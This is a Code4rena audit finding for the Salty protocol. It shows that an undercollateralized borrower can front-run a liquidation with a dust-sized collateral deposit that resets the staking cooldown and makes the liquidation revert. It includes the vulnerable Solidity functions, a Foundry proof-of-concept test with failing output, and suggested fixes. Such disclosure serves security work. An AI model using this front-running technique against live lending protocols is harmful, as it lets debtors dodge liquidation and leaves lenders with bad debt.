User can prevent liquidation by updating the cooldown period.

[c4-bot-10]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/f742b554e18ae1a07cb8d4617ec8aa50db037c1c/src/staking/StakingRewards.sol#L57

Vulnerability details

Impact

Users have the ability to prevent liquidation transactions by calling the depositCollateralAndIncreaseShare function frontrunning the liquidate transaction, which resets the cooldown period to the current block timestamp + cooldown. This prevents liquidation until the cooldown period has elapsed.

Details

When a user is undercollateralized, they can monitor the liquidation transaction in the mempool and front-run it ahead of time by calling CollateralAndLiquidity:depositCollateralAndIncreaseShares. The user should provide an amount slightly higher than the enforced DUST amount set by the protocol. This action does not make their position immune to liquidation, but it triggers the internal function StakingRewards:_increaseUserShare, which resets their cooldown period to block.timestamp + cooldown period.

function _increaseUserShare(address wallet, bytes32 poolID, uint256 increaseShareAmount, bool useCooldown) internal {
	require(poolsConfig.isWhitelisted(poolID), "Invalid pool");
	require(increaseShareAmount != 0, "Cannot increase zero share");

	UserShareInfo storage user = _userShareInfo[wallet][poolID];

	if (useCooldown && msg.sender != address(exchangeConfig.dao())) { // DAO doesn't use the cooldown
		require(block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire");

		// Update the cooldown expiration for future transactions
		user.cooldownExpiration = block.timestamp + stakingConfig.modificationCooldown();
	}

	uint256 existingTotalShares = totalShares[poolID];

After this, when the liquidation transaction is executed, it attempts to decrease the user's stakes using StakingRewards:decreaseUserShares. This function checks if the cooldown period has passed for the user. Since the user has just modified their cooldown period in the previous transaction, the check will fail and the transaction will revert.

function _decreaseUserShare(
        address wallet,
        bytes32 poolID,
        uint256 decreaseShareAmount,
        bool useCooldown
    ) internal {
      ....Other code....

        if (useCooldown)
            if (
                msg.sender != address(exchangeConfig.dao())
            ) // DAO doesn't use the cooldown
            {
//@audit - this check will fail if liquidation is frontrnned 
                require(
                    block.timestamp >= user.cooldownExpiration,
                    "Must wait for the cooldown to expire"
                );

                // Update the cooldown expiration for future transactions
                user.cooldownExpiration =
                    block.timestamp +
                    stakingConfig.modificationCooldown();
            }
...Other Code...
      
    }
       

Proof of Concept

This is same liquidation test provided with the test suite, just with the one line modification

// A unit test that verifies the liquidateUser function correctly transfers WETH to the liquidator and WBTC/WETH to the USDS contract
    function testLiquidatePosition() public {
        assertEq(collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 0);

        assertEq(
            wbtc.balanceOf(address(usds)),
            0,
            "USDS contract should start with zero WBTC"
        );
        assertEq(
            weth.balanceOf(address(usds)),
            0,
            "USDS contract should start with zero WETH"
        );
        assertEq(usds.balanceOf(alice), 0, "Alice should start with zero USDS");

        // Total needs to be worth at least $2500
        uint256 depositedWBTC = (1000 ether * 10 ** 8) /
            priceAggregator.getPriceBTC();
        uint256 depositedWETH = (1000 ether * 10 ** 18) /
            priceAggregator.getPriceETH();

        (uint256 reserveWBTC, uint256 reserveWETH) = pools.getPoolReserves(
            wbtc,
            weth
        );
        assertEq(reserveWBTC, 0, "reserveWBTC doesn't start as zero");
        assertEq(reserveWETH, 0, "reserveWETH doesn't start as zero");

        // Alice will deposit collateral and borrow max USDS
        vm.startPrank(alice);
        collateralAndLiquidity.depositCollateralAndIncreaseShare(
            depositedWBTC,
            depositedWETH,
            0,
            block.timestamp,
            false
        );

        uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
        assertEq(
            maxUSDS,
            0,
            "Alice doesn't have enough collateral to borrow USDS"
        );

        // Deposit again
        vm.warp(block.timestamp + 1 hours);
        collateralAndLiquidity.depositCollateralAndIncreaseShare(
            depositedWBTC,
            depositedWETH,
            0,
            block.timestamp,
            false
        );

        // Account for both deposits
        depositedWBTC = depositedWBTC * 2;
        depositedWETH = depositedWETH * 2;
        vm.stopPrank();

        // Deposit extra so alice can withdraw all liquidity without having to worry about the DUST reserve limit
        vm.prank(DEPLOYER);
        collateralAndLiquidity.depositCollateralAndIncreaseShare(
            1 * 10 ** 8,
            1 ether,
            0,
            block.timestamp,
            false
        );

        vm.warp(block.timestamp + 1 hours);

        vm.startPrank(alice);
        maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);

        vm.startPrank(alice);
        vm.warp(block.timestamp + 1 hours);

        maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
        collateralAndLiquidity.borrowUSDS(maxUSDS);
        vm.stopPrank();

        assertEq(collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 1);

        uint256 maxWithdrawable = collateralAndLiquidity
            .maxWithdrawableCollateral(alice);
        assertEq(
            maxWithdrawable,
            0,
            "Alice shouldn't be able to withdraw any collateral"
        );

        {
            uint256 aliceCollateralValue = collateralAndLiquidity
                .userCollateralValueInUSD(alice);

            uint256 aliceBorrowedUSDS = usds.balanceOf(alice);
            assertEq(
                collateralAndLiquidity.usdsBorrowedByUsers(alice),
                aliceBorrowedUSDS,
                "Alice amount USDS borrowed not what she has"
            );

            // Borrowed USDS should be about 50% of the aliceCollateralValue
            assertTrue(
                aliceBorrowedUSDS > ((aliceCollateralValue * 499) / 1000),
                "Alice did not borrow sufficient USDS"
            );
            assertTrue(
                aliceBorrowedUSDS < ((aliceCollateralValue * 501) / 1000),
                "Alice did not borrow sufficient USDS"
            );
        }

        // Try and fail to liquidate alice
        vm.expectRevert("User cannot be liquidated");
        vm.prank(bob);
        collateralAndLiquidity.liquidateUser(alice);

        // Artificially crash the collateral price
        _crashCollateralPrice();

        // Delay before the liquidation
        vm.warp(block.timestamp + 1 days);

        uint256 bobStartingWETH = weth.balanceOf(bob);
        uint256 bobStartingWBTC = wbtc.balanceOf(bob);
        vm.prank(alice);

//@audit-info: 101 is 1 wei more than DUST 100
+        collateralAndLiquidity.depositCollateralAndIncreaseShare(
            101,
            101,
            0,
            block.timestamp,
            false
        );
        // Liquidate Alice's position
        vm.prank(bob);

        uint256 gas0 = gasleft();
        collateralAndLiquidity.liquidateUser(alice);
        console.log("LIQUIDATE GAS: ", gas0 - gasleft());

        uint256 bobRewardWETH = weth.balanceOf(bob) - bobStartingWETH;
        uint256 bobRewardWBTC = wbtc.balanceOf(bob) - bobStartingWBTC;

        // Verify that Alice's position has been liquidated
        assertEq(
            collateralAndLiquidity.userShareForPool(alice, collateralPoolID),
            0
        );
        assertEq(collateralAndLiquidity.usdsBorrowedByUsers(alice), 0);

        // Verify that Bob has received WBTC and WETH for the liquidation
        assertEq(
            (depositedWETH * 5) / 100,
            bobRewardWETH,
            "Bob should have received WETH for liquidating Alice"
        );
        assertEq(
            (depositedWBTC * 5) / 100,
            bobRewardWBTC,
            "Bob should have received WBTC for liquidating Alice"
        );

        // Verify that the Liquidizer received the WBTC and WETH from Alice's liquidated collateral
        assertEq(
            wbtc.balanceOf(address(liquidizer)),
            depositedWBTC - bobRewardWBTC - 1,
            "The Liquidizer contract should have received Alice's WBTC"
        );
        assertEq(
            weth.balanceOf(address(liquidizer)),
            depositedWETH - bobRewardWETH,
            "The Liquidizer contract should have received Alice's WETH - Bob's WETH reward"
        );

        assertEq(collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 0);
    }

Output

Running 1 test for src/stable/tests/CollateralAndLiquidity.t.sol:TestCollateral
[FAIL. Reason: revert: Must wait for the cooldown to expire] testLiquidatePosition() (gas: 1199341)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 84.40s
 
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in src/stable/tests/CollateralAndLiquidity.t.sol:TestCollateral
[FAIL. Reason: revert: Must wait for the cooldown to expire] testLiquidatePosition() (gas: 1199341)

Encountered a total of 1 failing tests, 0 tests succeeded
make: *** [Makefile:4: test-one] Error 1

Tools Used

Manual review

Recommended Mitigation Steps

There could be two possible solutions:

1. Do not allow users to increase collateral if their position is liquidatable.
2. Add a check in the _decreaseUserShare function that does not verify the cooldown if the call is intended to liquidate the user.

Assessed type

MEV

[c4-judge]

Picodes marked the issue as duplicate of #312

[c4-judge]

Picodes marked the issue as satisfactory